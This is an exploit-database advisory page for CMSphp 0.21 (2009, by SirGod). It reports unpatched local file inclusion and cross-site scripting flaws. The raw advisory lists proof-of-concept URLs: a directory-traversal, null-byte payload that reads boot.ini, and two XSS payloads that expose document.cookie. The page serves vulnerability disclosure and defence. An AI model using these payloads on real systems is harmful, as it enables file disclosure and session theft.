CMSphp 0.21 (LFI/XSS) Multiple Remote Vulnerabilities

vendor:

CMSphp

by:

SirGod

7,5

CVSS

HIGH

Local File Inclusion/Cross-Site Scripting

94, 79

CWE

Product Name: CMSphp

Affected Version From: 0.21

Affected Version To: 0.21

Patch Exists: NO

Related CWE: N/A

CPE: a:cmsphp:cmsphp:0.21

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

CMSphp 0.21 (LFI/XSS) Multiple Remote Vulnerabilities

CMSphp 0.21 is vulnerable to both Local File Inclusion and Cross-Site Scripting. The Local File Inclusion vulnerability can be exploited by sending a specially crafted HTTP request to the vulnerable application. The Cross-Site Scripting vulnerability can be exploited by sending a specially crafted HTTP request containing malicious JavaScript code to the vulnerable application.

Mitigation:

Ensure that user-supplied input is validated and filtered before being used in the application. Ensure that the application is not vulnerable to directory traversal attacks.

Source

Exploit-DB raw data:

###################################################################################################
[+] CMSphp 0.21 (LFI/XSS) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###################################################################################################

[+] Download : http://sourceforge.net/projects/cmsphp/

[+] Local File Inclusion

 - PoC

    http://127.0.0.1/path/modules.php?name=Your_account&mod_file=../../../../../../boot.ini%00

[+] Cross-Site Scripting

 - PoC's

    http://127.0.0.1/path/index.php?cook_user=<script>alert(document.cookie)</script>

    http://127.0.0.1/path/modules.php?name=<script>alert(document.cookie)</script>

###################################################################################################

# milw0rm.com [2009-07-30]